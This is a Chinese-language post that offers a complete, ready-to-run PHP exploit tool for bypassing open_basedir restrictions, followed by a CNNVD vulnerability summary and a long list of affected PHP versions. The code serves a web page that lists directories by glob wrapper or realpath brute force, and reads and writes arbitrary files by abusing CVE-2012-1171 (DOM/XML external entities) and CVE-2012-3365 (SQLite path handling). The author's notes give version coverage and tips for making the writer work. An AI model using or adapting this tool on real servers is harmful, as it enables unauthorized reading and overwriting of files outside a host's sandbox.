這是繞過open_basedir限制的exploit,提供列目錄、讀寫文件功能
主要是利用各種CVE及PHP檢查缺陷繞過open_basedir
PHP5.2的應該都通殺,5.3、5.4則視乎minor version
<?php /* PHP open_basedir bypass collection Works with >= PHP5 By /fd, @filedescriptor(https://twitter.com/filedescriptor) */ // Assistant functions function getRelativePath($from, $to) { // some compatibility fixes for Windows paths $from = rtrim($from, '\/') . '/'; $from = str_replace('\\', '/', $from); $to = str_replace('\\', '/', $to); $from = explode('/', $from); $to = explode('/', $to); $relPath = $to; foreach($from as $depth => $dir) { // find first non-matching dir if($dir === $to[$depth]) { // ignore this directory array_shift($relPath); } else { // get number of remaining dirs to $from $remaining = count($from) - $depth; if($remaining > 1) { // add traversals up to first matching dir $padLength = (count($relPath) + $remaining - 1) * -1; $relPath = array_pad($relPath, $padLength, '..'); break; } else { $relPath[0] = './' . $relPath[0]; } } } return implode('/', $relPath); } function fallback($classes) { foreach ($classes as $class) { $object = new $class; if ($object->isAvailable()) { return $object; } } return new NoExploit; } // Core classes interface Exploitable { function isAvailable(); function getDescription(); } class NoExploit implements Exploitable { function isAvailable() { return true; } function getDescription() { return 'No exploit is available.'; } } abstract class DirectoryLister implements Exploitable { var $currentPath; function isAvailable(){} function getDescription(){} function getFileList(){} function setCurrentPath($currentPath) { $this->currentPath = $currentPath; } function getCurrentPath() { return $this->currentPath; } } class GlobWrapperDirectoryLister extends DirectoryLister { function isAvailable() { return stripos(PHP_OS, 'win') === FALSE && in_array('glob', stream_get_wrappers()); } function getDescription() { return 'Directory listing via glob pattern'; } function getFileList() { $file_list = array(); // normal files $it = new DirectoryIterator("glob://{$this->getCurrentPath()}*"); foreach($it as $f) { $file_list[] = $f->__toString(); } // special files (starting with a dot(.)) $it = new DirectoryIterator("glob://{$this->getCurrentPath()}.*"); foreach($it as $f) { $file_list[] = $f->__toString(); } sort($file_list); return $file_list; } } class RealpathBruteForceDirectoryLister extends DirectoryLister { var $characters = 'abcdefghijklmnopqrstuvwxyz0123456789-_' , $extension = array() , $charactersLength = 38 , $maxlength = 3 , $fileList = array(); function isAvailable() { return ini_get('open_basedir') && function_exists('realpath'); } function getDescription() { return 'Directory listing via brute force searching with realpath function.'; } function setCharacters($characters) { $this->characters = $characters; $this->charactersLength = count($characters); } function setExtension($extension) { $this->extension = $extension; } function setMaxlength($maxlength) { $this->maxlength = $maxlength; } function getFileList() { set_time_limit(0); set_error_handler(array(__CLASS__, 'handler')); $number_set = array(); while (count($number_set = $this->nextCombination($number_set, 0)) <= $this->maxlength) { $this->searchFile($number_set); } sort($this->fileList); return $this->fileList; } function nextCombination($number_set, $length) { if(!isset($number_set[$length])) { $number_set[$length] = 0; return $number_set; } if($number_set[$length] + 1 === $this->charactersLength) { $number_set[$length] = 0; $number_set = $this->nextCombination($number_set, $length + 1); } else { $number_set[$length]++; } return $number_set; } function searchFile($number_set) { $file_name = 'a'; foreach ($number_set as $key => $value) { $file_name[$key] = $this->characters[$value]; } // normal files realpath($this->getCurrentPath() . $file_name); // files with preceeding dot realpath($this->getCurrentPath() . '.' . $file_name); // files with extension foreach ($this->extension as $extension) { realpath($this->getCurrentPath() . $file_name . $extension); } } function handler($errno, $errstr, $errfile, $errline) { $regexp = '/File\((.*)\) is not within/'; preg_match($regexp, $errstr, $matches); if (isset($matches[1])) $this->fileList[] = $matches[1]; } } abstract class FileWriter implements Exploitable { var $filePath; function isAvailable(){} function getDescription(){} function write($content){} function setFilePath($filePath) { $this->filePath = $filePath; } function getFilePath() { return $this->filePath; } } abstract class FileReader implements Exploitable { var $filePath; function isAvailable(){} function getDescription(){} function read(){} function setFilePath($filePath) { $this->filePath = $filePath; } function getFilePath() { return $this->filePath; } } // Assistant class for DOMFileWriter & DOMFileReader class StreamExploiter { var $mode, $filePath, $fileContent; function stream_close() { $doc = new DOMDocument; $doc->strictErrorChecking = false; switch ($this->mode) { case 'w': $doc->loadHTML($this->fileContent); $doc->removeChild($doc->firstChild); $doc->saveHTMLFile($this->filePath); break; default: case 'r': $doc->resolveExternals = true; $doc->substituteEntities = true; $doc->loadXML("<!DOCTYPE doc [<!ENTITY file SYSTEM \"file://{$this->filePath}\">]><doc>&file;</doc>", LIBXML_PARSEHUGE); echo $doc->documentElement->firstChild->nodeValue; } } function stream_open($path, $mode, $options, &$opened_path) { $this->filePath = substr($path, 10); $this->mode = $mode; return true; } public function stream_write($data){ $this->fileContent = $data; return strlen($data); } } class DOMFileWriter extends FileWriter { function isAvailable() { return extension_loaded('dom') && (version_compare(phpversion(), '5.3.10', '<=') || version_compare(phpversion(), '5.4.0', '=')); } function getDescription() { return 'Write to and create a file exploiting CVE-2012-1171 (allow overriding). Notice the content should be in well-formed XML format.'; } function write($content) { // set it to global resource in order to trigger RSHUTDOWN global $_DOM_exploit_resource; stream_wrapper_register('exploit', 'StreamExploiter'); $_DOM_exploit_resource = fopen("exploit://{$this->getFilePath()}", 'w'); fwrite($_DOM_exploit_resource, $content); } } class DOMFileReader extends FileReader { function isAvailable() { return extension_loaded('dom') && (version_compare(phpversion(), '5.3.10', '<=') || version_compare(phpversion(), '5.4.0', '=')); } function getDescription() { return 'Read a file exploiting CVE-2012-1171. Notice the content should be in well-formed XML format.'; } function read() { // set it to global resource in order to trigger RSHUTDOWN global $_DOM_exploit_resource; stream_wrapper_register('exploit', 'StreamExploiter'); $_DOM_exploit_resource = fopen("exploit://{$this->getFilePath()}", 'r'); } } class SqliteFileWriter extends FileWriter { function isAvailable() { return is_writable(getcwd()) && (extension_loaded('sqlite3') || extension_loaded('sqlite')) && (version_compare(phpversion(), '5.3.15', '<=') || (version_compare(phpversion(), '5.4.5', '<=') && PHP_MINOR_VERSION == 4)); } function getDescription() { return 'Create a file with custom content exploiting CVE-2012-3365 (disallow overriding). Junk contents may be inserted'; } function write($content) { $sqlite_class = extension_loaded('sqlite3') ? 'sqlite3' : 'SQLiteDatabase'; mkdir(':memory:'); $payload_path = getRelativePath(getcwd() . '/:memory:', $this->getFilePath()); $payload = str_replace('\'', '\'\'', $content); $database = new $sqlite_class(":memory:/{$payload_path}"); $database->exec("CREATE TABLE foo (bar STRING)"); $database->exec("INSERT INTO foo (bar) VALUES ('{$payload}')"); $database->close(); rmdir(':memory:'); } } // End of Core ?> <?php $action = isset($_GET['action']) ? $_GET['action'] : ''; $cwd = isset($_GET['cwd']) ? $_GET['cwd'] : getcwd(); $cwd = rtrim($cwd, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR; $directorLister = fallback(array('GlobWrapperDirectoryLister', 'RealpathBruteForceDirectoryLister')); $fileWriter = fallback(array('DOMFileWriter', 'SqliteFileWriter')); $fileReader = fallback(array('DOMFileReader')); $append = ''; ?> <style> #panel { height: 200px; overflow: hidden; } #panel > pre { margin: 0; height: 200px; } </style> <div id="panel"> <pre id="dl"> open_basedir: <span style="color: red"><?php echo ini_get('open_basedir') ? ini_get('open_basedir') : 'Off'; ?></span> <form style="display:inline-block" action=""> <fieldset><legend>Directory Listing:</legend>Current Directory: <input name="cwd" size="100" value="<?php echo $cwd; ?>"><input type="submit" value="Go"> <?php if (get_class($directorLister) === 'RealpathBruteForceDirectoryLister'): ?> <?php $characters = isset($_GET['characters']) ? $_GET['characters'] : $directorLister->characters; $maxlength = isset($_GET['maxlength']) ? $_GET['maxlength'] : $directorLister->maxlength; $append = "&characters={$characters}&maxlength={$maxlength}"; $directorLister->setMaxlength($maxlength); ?> Search Characters: <input name="characters" size="100" value="<?php echo $characters; ?>"> Maxlength of File: <input name="maxlength" size="1" value="<?php echo $maxlength; ?>"> <?php endif; ?> Description : <strong><?php echo $directorLister->getDescription(); ?></strong> </fieldset> </form> </pre> <?php $file_path = isset($_GET['file_path']) ? $_GET['file_path'] : ''; ?> <pre id="rf"> open_basedir: <span style="color: red"><?php echo ini_get('open_basedir') ? ini_get('open_basedir') : 'Off'; ?></span> <form style="display:inline-block" action=""> <fieldset><legend>Read File :</legend>File Path: <input name="file_path" size="100" value="<?php echo $file_path; ?>"><input type="submit" value="Read"> Description: <strong><?php echo $fileReader->getDescription(); ?></strong><input type="hidden" name="action" value="rf"> </fieldset> </form> </pre> <pre id="wf"> open_basedir: <span style="color: red"><?php echo ini_get('open_basedir') ? ini_get('open_basedir') : 'Off'; ?></span> <form style="display:inline-block" action=""> <fieldset><legend>Write File :</legend>File Path : <input name="file_path" size="100" value="<?php echo $file_path; ?>"><input type="submit" value="Write"> File Content: <textarea cols="70" name="content"></textarea> Description : <strong><?php echo $fileWriter->getDescription(); ?></strong><input type="hidden" name="action" value="wf"> </fieldset> </form> </pre> </div> <a href="#dl">Directory Listing</a> | <a href="#rf">Read File</a> | <a href="#wf">Write File</a> <hr> <pre> <?php if ($action === 'rf'): ?> <plaintext> <?php $fileReader->setFilePath($file_path); echo $fileReader->read(); ?> <?php elseif ($action === 'wf'): ?> <?php if (isset($_GET['content'])) { $fileWriter->setFilePath($file_path); $fileWriter->write($_GET['content']); echo 'The file should be written.'; } else { echo 'Something goes wrong.'; } ?> <?php else: ?> <ol> <?php $directorLister->setCurrentPath($cwd); $file_list = $directorLister->getFileList(); $parent_path = dirname($cwd); echo "<li><a href='?cwd={$parent_path}{$append}#dl'>Parent</a></li>"; if (count($file_list) > 0) { foreach ($file_list as $file) { echo "<li><a href='?cwd={$cwd}{$file}{$append}#dl'>{$file}</a></li>"; } } else { echo 'No files found. The path is probably not a directory.'; } ?> </ol> <?php endif; ?>
写入有兩種exploit CVE-2012-1171(libxml)、CVE-2012-3365(SQLite)
前者的內容必須符合XML格式,如果沒用試試將
$fileWriter = fallback(array('DOMFileWriter', 'SqliteFileWriter'));
換成
$fileWriter = fallback(array('SqliteFileWriter', 'DOMFileWriter'));
CVE-2012-3365
[原文]The SQLite functionality in PHP before 5.3.15 allows remote attackers to bypass the open_basedir protection mechanism via unspecified vectors.
[CNNVD]PHP ‘SQLite’功能权限许可和访问控制漏洞(CNNVD-201207-402)
PHP是一款免费开放源代码的WEB脚本语言包,可使用在Microsoft Windows、Linux和Unix操作系统下。
PHP 5.3.15之前版本中的SQLite功能中存在漏洞。远程攻击者可利用该漏洞通过未明向量绕过open_basedir保护机制。
CPE (受影响的平台与产品)
cpe:/a:php:php:5.2.5 | PHP 5.2.5 |
cpe:/a:php:php:5.0.0:beta3 | PHP PHP 5.0.0 Beta3 |
cpe:/a:php:php:5.2.7 | PHP 5.2.7 |
cpe:/a:php:php:4.0.1 | PHP PHP 4.0.1 |
cpe:/a:php:php:5.2.14 | PHP 5.2.14 |
cpe:/a:php:php:5.0.5 | PHP PHP 5.0.5 |
cpe:/a:php:php:5.0.0:rc3 | PHP PHP 5.0.0 RC3 |
cpe:/a:php:php:5.3.0 | PHP 5.3.0 |
cpe:/a:php:php:4.3.1 | PHP PHP 4.3.1 |
cpe:/a:php:php:5.0.1 | PHP PHP 5.0.1 |
cpe:/a:php:php:4.2.2 | PHP PHP 4.2.2 |
cpe:/a:php:php:1.0 | PHP PHP_FI 1.0 |
cpe:/a:php:php:5.3.4 | PHP 5.3.4 |
cpe:/a:php:php:4.4.8 | PHP 4.4.8 |
cpe:/a:php:php:5.2.0 | PHP 5.2.0 |
cpe:/a:php:php:4.0:beta1 | PHP PHP 4.0 Beta 1 |
cpe:/a:php:php:4.3.6 | PHP PHP 4.3.6 |
cpe:/a:php:php:4.0.4 | PHP PHP 4.0.4 |
cpe:/a:php:php:4.4.2 | PHP PHP 4.4.2 |
cpe:/a:php:php:4.4.5 | PHP PHP 4.4.5 |
cpe:/a:php:php:4.3.4 | PHP PHP 4.3.4 |
cpe:/a:php:php:3.0.9 | PHP PHP 3.0.9 |
cpe:/a:php:php:5.3.3 | PHP 5.3.3 |
cpe:/a:php:php:5.2.1 | PHP 5.2.1 |
cpe:/a:php:php:4.0.3 | PHP PHP 4.0.3 |
cpe:/a:php:php:4.4.7 | PHP PHP 4.4.7 |
cpe:/a:php:php:4.3.2 | PHP PHP 4.3.2 |
cpe:/a:php:php:4.0:beta2 | PHP PHP 4.0 Beta 2 |
cpe:/a:php:php:5.1.3 | PHP PHP 5.1.3 |
cpe:/a:php:php:3.0.2 | PHP PHP 3.0.2 |
cpe:/a:php:php:3.0.7 | PHP PHP 3.0.7 |
cpe:/a:php:php:4.4.4 | PHP PHP 4.4.4 |
cpe:/a:php:php:2.0b10 | PHP PHP_FI 2.0b10 |
cpe:/a:php:php:5.0.2 | PHP PHP 5.0.2 |
cpe:/a:php:php:4.2.1 | PHP PHP 4.2.1 |
cpe:/a:php:php:4.4.1 | PHP PHP 4.4.1 |
cpe:/a:php:php:5.3.11 | PHP 5.3.11 |
cpe:/a:php:php:5.0.3 | PHP PHP 5.0.3 |
cpe:/a:php:php:4.1.1 | PHP PHP 4.1.1 |
cpe:/a:php:php:3.0.11 | PHP PHP 3.0.11 |
cpe:/a:php:php:5.1.5 | PHP PHP 5.1.5 |
cpe:/a:php:php:4.0.7 | PHP PHP 4.0.7 |
cpe:/a:php:php:5.1.4 | PHP 5.1.4 |
cpe:/a:php:php:3.0.10 | PHP PHP 3.0.10 |
cpe:/a:php:php:5.3.7 | PHP 5.3.7 |
cpe:/a:php:php:3.0.12 | PHP PHP 3.0.12 |
cpe:/a:php:php:5.0.0:beta1 | PHP PHP 5.0.0 Beta1 |
cpe:/a:php:php:5.2.2 | PHP 5.2.2 |
cpe:/a:php:php:3.0.3 | PHP PHP 3.0.3 |
cpe:/a:php:php:5.0.0:beta4 | PHP PHP 5.0.0 Beta4 |
cpe:/a:php:php:4.3.9 | PHP PHP 4.3.9 |
cpe:/a:php:php:5.3.12 | PHP 5.3.12 |
cpe:/a:php:php:4.0:beta3 | PHP PHP 4.0 Beta 3 |
cpe:/a:php:php:4.3.5 | PHP PHP 4.3.5 |
cpe:/a:php:php:5.3.2 | PHP 5.3.2 |
cpe:/a:php:php:4.2.3 | PHP PHP 4.2.3 |
cpe:/a:php:php:3.0.17 | PHP PHP 3.0.17 |
cpe:/a:php:php:3.0.13 | PHP PHP 3.0.13 |
cpe:/a:php:php:5.0.0:rc1 | PHP PHP 5.0.0 RC1 |
cpe:/a:php:php:5.2.17 | PHP 5.2.17 |
cpe:/a:php:php:5.2.13 | PHP 5.2.13 |
cpe:/a:php:php:5.2.10 | PHP 5.2.10 |
cpe:/a:php:php:4.4.3 | PHP PHP 4.4.3 |
cpe:/a:php:php:5.2.15 | PHP 5.2.15 |
cpe:/a:php:php:5.0.0:beta2 | PHP PHP 5.0.0 Beta2 |
cpe:/a:php:php:5.2.12 | PHP 5.2.12 |
cpe:/a:php:php:4.3.10 | PHP PHP 4.3.10 |
cpe:/a:php:php:4.0.0 | PHP PHP 4.0.0 |
cpe:/a:php:php:3.0.1 | PHP PHP 3.0.1 |
cpe:/a:php:php:4.3.7 | PHP PHP 4.3.7 |
cpe:/a:php:php:4.2.0 | PHP PHP 4.2.0 |
cpe:/a:php:php:3.0.14 | PHP PHP 3.0.14 |
cpe:/a:php:php:4.0.2 | PHP PHP 4.0.2 |
cpe:/a:php:php:4.0.6 | PHP PHP 4.0.6 |
cpe:/a:php:php:4.1.2 | PHP PHP 4.1.2 |
cpe:/a:php:php:5.3.1 | PHP 5.3.1 |
cpe:/a:php:php:5.3.13 | PHP 5.3.13 |
cpe:/a:php:php:5.3.10 | PHP 5.3.10 |
cpe:/a:php:php:4.0.5 | PHP PHP 4.0.5 |
cpe:/a:php:php:5.1.1 | PHP PHP 5.1.1 |
cpe:/a:php:php:5.2.4 | PHP 5.2.4 |
cpe:/a:php:php:5.3.8 | PHP 5.3.8 |
cpe:/a:php:php:5.2.3 | PHP 5.2.3 |
cpe:/a:php:php:3.0.15 | PHP PHP 3.0.15 |
cpe:/a:php:php:5.0.4 | PHP PHP 5.0.4 |
cpe:/a:php:php:5.0.0:rc2 | PHP PHP 5.0.0 RC2 |
cpe:/a:php:php:5.3.5 | PHP 5.3.5 |
cpe:/a:php:php:5.2.6 | PHP 5.2.6 |
cpe:/a:php:php:5.3.14 | PHP 5.3.14 |
cpe:/a:php:php:4.3.3 | PHP PHP 4.3.3 |
cpe:/a:php:php:5.2.8 | PHP 5.2.8 |
cpe:/a:php:php:3.0.16 | PHP PHP 3.0.16 |
cpe:/a:php:php:4.4.9 | PHP 4.4.9 |
cpe:/a:php:php:4.0:beta4 | PHP PHP 4.0 Beta 4 |
cpe:/a:php:php:5.3.9 | PHP 5.3.9 |
cpe:/a:php:php:3.0.5 | PHP PHP 3.0.5 |
cpe:/a:php:php:5.1.2 | PHP PHP 5.1.2 |
cpe:/a:php:php:5.3.6 | PHP 5.3.6 |
cpe:/a:php:php:5.2.11 | PHP 5.2.11 |
cpe:/a:php:php:5.1.0 | PHP PHP 5.1.0 |
cpe:/a:php:php:5.0.0 | PHP PHP 5.0.0 |
cpe:/a:php:php:4.4.6 | PHP PHP 4.4.6 |
cpe:/a:php:php:4.3.0 | PHP PHP 4.3.0 |
cpe:/a:php:php:4.0:beta_4_patch1 | PHP PHP 4.0 Beta 4 Patch Level 1 |
cpe:/a:php:php:5.2.16 | PHP 5.2.16 |
cpe:/a:php:php:3.0.6 | PHP PHP 3.0.6 |
cpe:/a:php:php:5.2.9 | PHP 5.2.9 |
cpe:/a:php:php:2.0 | PHP PHP_FI 2.0 |
cpe:/a:php:php:4.3.11 | PHP PHP 4.3.11 |
cpe:/a:php:php:3.0.8 | PHP PHP 3.0.8 |
cpe:/a:php:php:3.0.18 | PHP PHP 3.0.18 |
cpe:/a:php:php:5.1.6 | PHP PHP 5.1.6 |
cpe:/a:php:php:4.3.8 | PHP PHP 4.3.8 |
cpe:/a:php:php:4.1.0 | PHP PHP 4.1.0 |
cpe:/a:php:php:3.0 | PHP PHP 3.0 |
cpe:/a:php:php:4.4.0 | PHP PHP 4.4.0 |
cpe:/a:php:php:3.0.4 | PHP PHP 3.0.4 |